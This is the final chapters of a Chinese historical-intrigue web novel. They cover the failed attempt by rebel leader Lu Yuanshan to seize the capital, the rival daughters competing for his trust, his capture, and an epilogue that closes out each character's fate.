令许多人都没有想到的是,陆远山本人竟然就潜藏在这支探子的队伍里,本来在暗中观察的人还不知这乔装过的人就是陆远山,却被夏明月的一声父亲给叫破了。 因为这里的人根本就没有陆远山如今长相的画像,就连画扇都没见过,反倒是夏明月在楚氏那儿见过陆远山年轻时的画像,而且知道陆远山是左手使刀的,才一眼认了出来。 “父亲,我……我是明月啊,您看看我,十六年前,是您派人把我送到夏家的,您和小娘都还好么?”夏明月激动地道。 近二十年的风霜磨砺下,陆远山早已不再是那个玉面书生,他已然变成了独霸一方的悍将,看起来虽然没有夏庸、李玦、楚霆孝这样的人儒雅,却一看就是那种能够担事儿、在大事儿上做得了主的人。 要说夏庸和李玦做不了主就算了,楚霆孝一直是个一言九鼎的人,可楚霆孝身上的那种威慑感到底还是文臣的那种,比较含蓄,不像陆远山这样直接。 夏明月这些日子被李玦和夏庸搓摩得够呛,现在看到这种能给她安全感的人就激动,尤其这个人是她血脉相连的父亲。 只是夏明月太激动了,她自己都没有意识到这声“父亲”叫得实在太大声了,简直就是喊出来的,而这城中如今几乎每个人都认得她! 第537章结局(2) 除去城楼上站上去了的,陆远山一行二十余人虽然换上了寻常百姓的衣裳,但他们比一般人粗糙、黝黑的脸庞和露在外面的手背足以说明他们都不是元京和中原人。 不过,在夏明月开口之前,周围的人都把他们当成了北边儿来的客商,并没有引起太高的关注,可夏明月这一嗓子吼出来就不一样了。 周围的人都认出了夏明月这个最近特别出名的“毒妇”,而夏明月正在管一个陌生男子叫“父亲”,这里面也好些人都认得夏庸,这人明显不是夏庸,而李玦的父亲老端侯已经过世多年,这显然也不是她的公公。 这人是谁?别说是高门大户了,就是普通人家,也没有乱管别人叫爹的。 种种反常之下,周围的路人就像水波一样一层一层地退到了官道两边,大眼瞪小眼地看着夏明月。 陆远山也没反应过来,他之前便听说了由楚氏养大的这个女儿在出嫁后变得声名狼藉,如今看来果然如此,传言一点都不夸张,确切的说还欠了许多火候,反倒是身后两步远跟着的长女画扇这么看起来更加稳重。 可是没等陆远山吩咐,他身后跟着的人里就有人因为人群中的骚动而拔了刀,这客商或是百姓平日里遇上麻烦也有拔刀自保的,可普通人拔刀和上过沙场的人这样做给人的感觉完全不一样。尤其陆家人是一路杀过来的,此时这刀尽管已经擦干净了,可依旧在灯火下闪着寒芒。 不知从哪儿传来三声急促的哨响,人群里有人高喊一声“彭州人打过来了”,百姓们尖叫着四散奔头。这些的行动看起来慌乱,跑得却很快,因为熟悉城里的屋舍布局,没一会儿就跑了个干净。 街上只剩下了陆远山一行人,同时高处的屋舍和前后城墙上传来一阵脚步声,原先已经安插上城头的陆家人都被绑了扭送了下去,有那反抗不从的,直接就被抹了脖子推下城楼,紧接着弓箭手弓弦拉满、箭矢向下,直指陆远山一行人。 心腹拔刀护在夏明月跟前,怒视着夏明月,陆远山也是如此,他显然把她那声“父亲”当作了最初的信号: “你就是明月?十六年前,你出生时便从胎里带了寒症,我托付心腹将你送到夏家医治,没想到他们将你扣了下来,一扣就是十六年。” 他冷呵一声,“没想到他们竟然真的把你养成了他们的女儿,楚霆孝想霸占端侯府的宝藏,你竟然帮着他们,陷你的亲身父亲于敌阵之中。世人说得对,你不仅是毒妇,还是不孝女!” 夏明月整个人愣在那里,怎么就成了楚家把她扣下了?不是陆家要把她留在元京享福的么? 就在夏明月愣神儿的时候,画扇大着胆子,抖着声音道:“您就是……我的父亲吗?您别听她狡辩,要不是有楚家给她撑腰,我们大姑娘,就是现在的华侯夫人,那可是夏大人原配夫人所出的嫡长女,怎么会被送到老家十几年?” “害得我也跟着受苦,在卢阳那地方差点儿连命都丢了。可那个乔嬷嬷,就是楚相大人那个老相好的,还说我是我娘跟一个小厮生的,他们为什么要这样做?不就让您觉得您只有一个女儿么?” 在这种拿不出绝对铁证的事情上,一件事在一百个人眼里可能有一百个真相,就看哪种观念能先入为主了。 陆远山大概原就对楚、夏两家的做法有所怀疑,而且毫无疑问地他在与画扇相认之后还受到了某些人的挑唆。 夏明月急了:“不,不是的,我外祖父……不,是楚相没有这样做,夏大人和夫人都很疼我,他们是真心实意地把我当作女儿疼爱的,不是为了利用我。” “他们如果要利用我,怎么会一直不告诉我的出身呢……我是最近才知道自己的身世的,父亲,您相信我,赶紧让陆家人打进来,把他们都杀光,以后大恒就由您说了算了!” 夏明月这么说是真心实意的,因为前世她就知道陆远山最后只占了南疆的三分之二,尽管成了南疆王,可那种荒蛮之地,想要变得像中原和元京一样,至少需要几十年的时间,哪有元京好。 而且做南疆王的女儿,她最多就是个郡主,要是做大恒皇帝的女儿,她可就是公主了。 至于画扇,多一个不受宠的公主也没什么。画扇只是背后有夏明嫣帮忙谋划才占了眼前的便宜,只要将来没有了夏明嫣,这个死丫头的生死还不是由她说了算? 夏明月想到夏明嫣曾经的忍辱负重,她也一定可以做到,而且以陆远山对楚氏的感情,现在只不过是一时没转过弯儿来,等他想明白了,她依然是他最好的女儿。 重生之后的确产生了许多变数,可谁又能说那些变数的存在不是为了一个更大、更好的变数做铺垫呢? 陆家人比上一世提早了十年打过来,虽然现在先进来的这一支被围了,可大军一定会很快赶到,到时候这点守城军还不够他们塞牙缝的,大事一定能成,这个最大的变数一定是这一世的陆远山会登基为帝! 这番话在陆远山耳中却全然不是这么一回事,楚霆孝和这城中的大臣、将领和诸多高门哪是那般好对付的,他今日的打算只是暂时占据元京,与燕帝谈判,之后便会退守南疆。 夏明月的这些狂悖之言不像是在给他鼓劲儿,倒像是在渲染他的野心,为他树敌! 画扇先就拉住陆远山的袖角把他往后拽,瞪着夏明月道:“父亲,您别听她说,城楼上的这些人都是她叫来的。楚相好好的丞相不做,为什么非要陪您去南疆吃苦?” “他们祖孙两个就是把您当刀使呢,您现在带人杀出去赶紧回彭州或者回南疆都来得及,您再往前只有死路一条。她,夏明月,她就是来骗您的,他们在前面早就准备好了,等那些人擒了您,拿您的脑袋立了功,他们在得了端侯府的宝藏,他们就天下无敌了啊。” “父亲,您想想,端侯好好的一个冠玉公子,怎么就突然瘫了?说是被她气的,哪儿有那么巧的事,一定是他们下了毒,就是故意的!他们为了把那些宝藏弄到手,连他们最宠爱的外孙女、女儿都舍了,为了什么?难不成他们还真能在宝藏到手之后跟您分享么?您不要被他们骗了!” 夏明月气得发抖,指着画扇厉声道:“你这个不要脸的婢子,敢污蔑我,李玦他就是被我气的,我没有别的图谋。” 夏、楚两家的确想通过她跟李玦的婚事得到海藏,可计划还没有实施,李玦瘫了啊。 第538章结局(3) 城头上的弓弩手就位的时候,画扇心里就稳了一半儿,她不知道夏明嫣具体的部署,她也不会为此心生怨恨,谁让信誉是从她这儿坏的呢? 可是画扇这个人的好处就是务实,别的她不懂,但她知道一定不能让夏明月占了上峰。 读书、讲大道理、以气势压人,论起这些画扇的确不如夏明月,可她会以小见大,把一件又一件小事列举出来,再可怜兮兮地添油加醋,这样听起来反而比夏明月说的更可信。 画扇心里清楚得很,夏明月至少还有端侯府和海藏的这层关系在,她手上却没有什么对陆远山有用的东西,她只有彻底把夏明月打压下去这一条路可走,她一定要成功! 陆远山满眼失望地看着夏明月:“我没有养你一日,你心里没有我这个父亲,我不怨你,可我不能拿陆家全族的牺牲做赌。我陆家在彭州苦熬了二十年,过的人不人、鬼不鬼,楚家、夏家还有端侯府却在这儿过了二十年的富贵日子,这笔账不能不算。” “陆家大军再有一炷香的工夫就到,你把楚霆孝叫来,我亲自跟他谈!” 夏明月现在哪儿请的来楚霆孝,这种露脸、当大罪人的事儿,楚霆孝才不沾呢,他要的是在局势平稳后,坐收渔翁之利。她急得面红耳赤的,想解释又不敢开口,怕会更加惹怒楚霆孝。 “别请了,请不来,我外祖父什么德行,陆叔父您应该很清楚才对。过了二十年,您连这都忘了?” 于杏儿扯开嗓子喊了几句,从城门楼子下面的守城军身后走了出来,她这些日子学了礼仪,走路比原先多了几分仪态,但总体上与高门贵女和书香门第的闺秀相比这几笔还是很豪迈的, “陆叔父,您看看我,能不能猜到我是谁?看看我这张脸,看看还能想起来不?要是想的起来,那是您念旧。要是想不起来,只能说……那句话怎么说来着,什么物非……然后每一件事都干不成。” 大概就是这个意思吧,她也不管人家听不听得懂,反正她也不是来跟陆远山拽文的。论起讲大道理,她连画扇都不如,但她有她的表达方式。 她要做的是彻底打破夏明月和陆远山之间的信任,让夏明月即便说出了海藏的信息,陆远山也不相信。 陆远山大概猜出来了,因为他在彭州这些年经常跟那些不识字的大老粗打交道,这姑娘说的大概是“物是人非事事休”。 他眯了眼,仔细在这姑娘的脸上寻找着故人的影子,不得不说,这姑娘的脸带着些蜜色,一看便不是与生俱来的,是晒出来的,这是谁家的闺女?她会这么说,他定然是认识她的父母的。 电光石火之间,他眼前一亮,忽然想到了什么:“你是楚……楚夫人的亲生女儿,明月顶替了的那个?” 于杏儿走进了几步,点了点头,指着夏明月厉声道:“为了得到端侯府的海藏宝藏,他们宁愿害死我这个女儿、外孙女。要不是我命不该绝,我早就死了。” “陆叔父,您跟陆家人在彭州吃了二十年的风霜,我跟我的养父母一家在船上受了十几年的风浪。咱们都是一个毛病过来的,就应该相互体谅。您想想,他们这些人连亲骨肉都能害,把我扔了也就罢了,还生怕我死不掉,要把我淹死在河里,他们得多想要这份海藏啊。” “还有,这种宁肯牺牲自己亲骨肉一辈子,也要当反贼的,都是点儿什么人啊?您能相信之后他们能跟您荣辱与共吗?” “对了,您应该还不知道,夏大人,就是我亲爹,他退出了。不仅如此,他还去了造船司,给打捞海藏造船去了。还有你的女婿,就是那个端侯,原先长得可好看了的那个,是真瘫了。也就是您还跟从前一样,您这心智也太坚定了。” 于杏儿的目光不像是在赞叹陆远山始终如一、心智坚定,她分明就是在看一个食古不化的老顽固。 陆远山此前被楚霆孝欺瞒,压根不知道李玦和夏庸这儿都起了变化,这下只剩下他跟楚霆孝了。然儿,多年苦心孤诣的筹谋不是说放弃就能放弃的。 陆远山放弃了与楚霆孝谈判,突然朝天放出一枚烟弹,蓝色的火光高高升起,照亮了整个城门上空: “弟兄们,我们的人马马上就到,华家军和华侯不在城中,你我兄弟杀出一条血路,把端侯抢出来,我们要人有人,要钱有钱,南疆称王!” 烟弹升起瞬间,城外的喊杀声由远及近,城外有人搭了铁爪和钢索上来,一时间跟城墙上的弓弩手和守城军打了起来,内城一片也大乱。 然后半个时辰之后,城外先渐渐安静下来,紧接着城内出现了一批身着劲装和铠甲的人马,开始迅速拿下、清理陆家军。 高楼之上一声哨响撕裂了城内的刀兵混杂之声,由如一块儿石头坠入湖心,涟漪渐次而开,只是这涟漪并非喧嚣之声,而是一种诡异而令人胆寒的静谧。 一扇位于高处的门陡然打开,华靖离一身戎装屹然而立,夏明嫣站在他身后半个身位的位置,他们一同注视着下面街市上逐渐变得井然有序的街景。 刚才还慌乱奔逃的百姓已经被人疏散到了安全地带,有的则躲到了附近的茶肆、酒肆里,从虚掩着的门缝里观察着外面的情况。 陆远山由心腹护着尽管浑身浴血却只是受了轻伤,于杏儿已经被守军带走了,画扇躲到一家宅邸的石狮子后头探着头往外看,只有夏明月还死死地跟在陆远山身后。 “父亲,我也知道海藏在哪儿,而且当年我公公还藏了些东西在一个岛上,打开那里需要钥匙,我知道钥匙在哪儿。您先杀出去,等时机到了,你再派人帮我抢钥匙……” 这城门口有几个卖油炸小吃的,今天灯会人多,放了好几个大桶的油在这里,还有两架架子马车上各放着两大桶灯油、蜡烛,刚才打斗的时候不知道是谁用了火雷蛋,把这些油和香烛引爆了。 当时夏明月就在附近,她倒是只受了一点皮外伤,可听觉受到了影响,现在听不大清楚,导致她自己说话就格外大声,几乎是喊出来的。 好不容易于杏儿不在,画扇也不能碍手碍脚的,她赶紧把这紧密的信息透露了出来,可笑的是周围长耳朵的都听到了。 陆远山气得抬脚将夏明月踹翻在地:“我陆远山一世自诩理智、隐忍,却不想生出你这么个东西!海藏我自己去找,用不着你这个楚家养大的蠢货!” “你以为我去南疆还会带着你?滚,给我滚会你的楚家去,好好做你的相府外孙。” 在华靖离出现的那一刻,陆远山就知道自己拜了,那些所谓的撤回老家休养的华家军根本没有回去,一定是他们在城外抵挡住了他好不容易积攒起来的班底。 纵使他对夏明月失望,这也毕竟是他的亲生女儿,楚霆孝一直没有出面,对于楚家来说就还有转圜的余地,夏明月跟着他们或许还能保住性命。 谁知道夏明月被炸得眼前都是重影,这时候还要跟他分辩、争吵,甚至还要现在就带着陆远山去端侯府。 华靖离看向已然一身是血的陆远山,懒得再听他们父女之间的那点官司:“陆大人,您身在彭州多年,好不容易回到元京,就是来做贼道匪人的?” “四家因海藏而联手,可二十年过去了,物是人非,况且这笔海藏本就起源于大恒府库。华某身为小辈,劝您一句,悬崖勒马!” 第539章结局(全文完) “华侯,不知城外统兵的是何人?”陆远山不答反问。 “是我的叔父,北疆天北大营将军华叶胜,你能在北疆连克两城,也是他老人家安排的。” 华靖离没有遮掩,城外陆家军死伤过半,陆、楚两家已成败局,一切已是明牌。 这个答案既在意料之中也在意料之外,陆远山忽然狂笑了几声:“我陆远山自二十年前就成了孤家寡人,身边只有陆家族亲和彭州的流徙之人,从前便觉得难成大计,如今看来,果然是大梦一场。” “楚家误我,将我困于彭州,让我不得不走上这条不归路,我没得选,哪怕这只是一个南疆的帝王梦,我也只能一试!不过你们以为你们赢了吗?南疆还有我们的人,还有常王,谁知道最终鹿死谁手!” 陆家盘踞彭州,他们刚去的时候着实打了近十年的根基才开始练兵,又少了十年的磨砺,那边缺人、缺物、缺钱。老实说,能把兵练成这样已经不错了。 华靖离笑了一下,这时候才算是真正放下心来:“陆大人,赢你的不止是华某跟华家军,您和另外几位大人的筹谋从一开始就在圣上的掌控当中。放任您在彭州多年,让另外三家在元京安享富贵,都是为了诱出海藏的位置,并取出海藏。” “不过能逼您提前出手,而不是等到十年后鹿家军兵强马壮之时,也着实花了些功夫。陆大人,其实您跟如今的端侯一样,都是受到父辈的牵连才入了局,没有必要太过执着。您也算得上一代枭雄,若是您愿意放下执念,保境安民,华某愿保举您入南疆为将,平常王之乱,如何?” 听到这事他们故意诱导陆家提前动手的,陆远山愣了一瞬,随即露出悲凉之色: “去打常王?你华家不想要卸甲归田就推我们陆家去送死,我不上你的当!我这辈子也活够了,待我自行了断,你若是能保我陆家余部性命,我就将彭州通往沙海的舆图献与圣上,我此生也无怨、无恨!” 陆远山跟心腹说了什么,应该是交代了舆图被藏在了何处,之后竟然直接拔刀朝着自己颈间刎去。 心腹急忙去拦,夏明月也去阻止,躲在石狮子后头的画扇却在这时候冲了上来,她先不着痕迹地一把将夏明月推倒在地,再之后抱住了陆远山的腰一阵“孝女”式哭号。 画扇原本也只是一个弱质女流,可她毕竟在煤场干了好一阵活儿,比寻常女子要有力气得多,一把就将夏明月摔了个半晕,而她也在几乎所有人都没有留意到的情况下用一根牛毛细针扎了陆远山一下。 陆远山皮糙肉厚什么感觉都没有,只感觉到眼前比之前模糊了一些,身上也渐渐变得无力,就这样他被冲上来的守城军架了起来,谁也没想到这场乱局竟然以这样的方式结束了。 画扇在陆家军众人面前成了救下亲生父亲的孝女,将来在别人的扶持下由她成为陆家的新任家主想来不成问题。 夏明月瘫坐在那里,听觉比之前恢复了许多,她眼睁睁地看着方才躲起来的那些百姓有许多都走了出来对着她指指点点,她怎么也想不明白事情怎么就这样了。 楚氏在这时披头散发地跑了出来,她像是受了什么刺激似的看起来有些疯癫,直到她将夏明月扶起来又要去找于杏儿,人们从她断断续续地言辞里才知道了事情的来龙去脉。 趁着城门乱起来的这会儿,李玦在吕冠瑛的服侍下进了宫,将海藏和那处藏在岛上的宝藏全都作为生辰礼送给了燕帝,只求保子嗣和家族平安,袭爵之事再延后一代,让他的儿子承袭,若他的儿子不堪重用,那么从下一代开始便不再是侯爵。同时,他也提出了要跟夏明月和离,扶正吕冠瑛为正妻。 燕帝当场便应允了下来,李玦回府的路上就被楚霆孝截了去,刚巧楚氏听到城门口的动静也来找楚霆孝,希望他能拿出个主意来,然后就眼看着楚霆孝跟口齿不甚伶俐的李玦发生了口角。 李玦其实没有说什么过分的话,他只是心如死灰,对什么都兴趣不高了。楚霆孝一听说他真的将一切都拱手送还了朝廷就暴跳如雷,应该是年纪大了,一口气没上来,居然就这么走了。 楚氏被吓得够呛,她的两个嫂子揪住她一通推搡,说是她气死了楚霆孝。她受了刺激,浑浑噩噩地赶到城门处找寻夏明月和于杏儿。当然,在她潜意识里,她还想见一见她心心念念的陆远山。 这时候的陆远山正被人架着往天牢走,他意识有些模糊,眼前也不是看得很清楚,可她还是看到了楚氏。 曾经心心念念的情人,青梅竹马的时候爱过,举家流放楚氏一刻都没犹豫就跟他解除婚约的时候他也恨过,可是在这一瞬间,他忽然发现自己心里想的竟然只有一直伴她左右的那位如夫人,也就是夏明月的生母。 楚氏的反应就更加出人意外了,她一开始根本就没认出陆远山,等到人走远了,听到了围观百姓的议论声她才反应过来,只是这时陆远山只剩下了一个模糊的背影了。 楚氏的心忽然一下就空了,她原以为再见面时陆远山还会是那个翩翩公子,还会骑在高头大马上来接她。到时候她休了夏庸这个“赘婿”,再改建给陆远山…… 可是就在刚刚那一刻,她这二十年的幻想都化成了泡影,他们都已不是曾经的彼此了,而她接下来要面对的是自己的养女被人和离的局面,她之所以去找楚霆孝,是因为夏庸竟然聚集了夏家族亲也要跟她和离了…… 华靖离握住身边夏明嫣的手:“没想到就这样结束了,陆远山还不能死,远南疆的常王和楚家族人还需要他来震慑。不过,陛下不会现在就放他回南疆,总要先将他驯服了才行。” “陆家的族老和族长则要留在彭州,回头你给你身边的那个画扇多挑几个人一起送过去,她刚才抓住了机会,也算没有枉费你的一片苦心。” “至于我们,是去南疆还是留在元京,还请夫人做主。夫人去哪儿,为夫就去哪儿。” “是么?这种大事你还真能听我的?说说吧,太子殿下在哪儿?你被关在行宫,都是计策?”夏明嫣问道。 她已经有了猜测,只是想要证实一下,也让心里有个底,省得被他们糊弄了。 华靖离握紧了她的手,生怕哪里说的不对惹恼了她:“在我回来的时候太子殿下就被救出来了,救他的人是孙允斌,那时候太子被关在常王的地牢里,但常王还没有亲自去见过他。孙允斌借着孙家的势力的确有几分神通,竟然鬼使神差地换了个替身进去。” “我安排他们去了北疆,在通往天北大营的路上接应叔父,他们现在应该正跟叔父在城外呢。殿下有了功劳,孙允斌也没有走上歪路,咱们以后的路也算是稳了。” “我在行宫么?的确,拘禁是假的,是我跟陛下、太子殿下一起做的一场戏……不过也确实不能离开行宫一步,跟拘禁没有什么区别,而且你不是也猜到了么。诶,你别……别掐我……” 夏明嫣狠狠地掐了他两把,最终目光温暖地看着他:“经历了两辈子,还有什么想不通的?去哪儿都行,有你的地方就是我的家。” “不过,以后不许瞒着,就算我能猜到,也不行。我也有一件事要告诉你,在你去南疆之前就想跟你说了……” 那时说好等他从南疆回来就告诉他的,夏明嫣也不打算拿这件事再吊他的胃口,附在他耳边说了什么,华靖离仅仅地拥住了她。 日后,天南海北,他们都会在一起,守护他们的家人、族人和他们依恋的一切。 六个月之后,夏明嫣诞下一子,是为钩翊侯华靖离嫡长子,周岁后燕帝亲自下旨封其位钩翊侯世子,夏明嫣为一品诰命夫人。 五年后,南疆平定,华家亦完成南迁大计,华靖离、夏明嫣懈子巡视南疆并在那里生活了十年,恢复南疆海贸,开拓山寨和山地种植,造福寨民和南疆百姓,促进他们与中原和周边各国的往来。 夏明月自城门乱局那日便陷入了疯癫,准确的说大部分时间她是清醒的,但所有人都希望她是真疯了,于是她被关进了上一世她害了乔依心的疯人谷。 何夫人本在寺中清修,依然在前世过世的那个时间离开了人世,巧的是,相隔半月,李玦竟也撒手人寰。 李玦生前假借吕冠瑛之名弄来的那个堂兄之子成为了新一任的端侯世子,吕冠瑛为太夫人,吕大姑娘所出被取名为安儿的那名庶子也安然长大,虽然爵位与他无缘,却也得了端侯府一半的家业,一生富足。 夏庸没有像上一世一样瘫痪在床,不过他彻底地成了一个富贵闲人,在家孝顺朱老太太。就连沈小娘都在假死之后遇到了真心疼惜她的人,改换身份嫁了过去,还在四十三岁时得了一个女儿…… 而那时的夏明嫣已经生下了华靖离的第二个孩子,那是一个女儿,长得跟夏明嫣很像,性子却像她的外祖母杨氏,从小就爱针灸和医术,不到五岁就敢给身边的人扎针了,还养了许多奇奇怪怪的蛊。 夏明嫣和华靖离常拿这个孩子没办法,不过很快他们就看开了,万事万物都有它们的循环,或许这孩子就是来弥补杨家和夏明嫣小时候的缺憾的…… 横竖没有爹娘两个都是重生的离谱了,总归日子是甜的,不久行了吗? (全文完)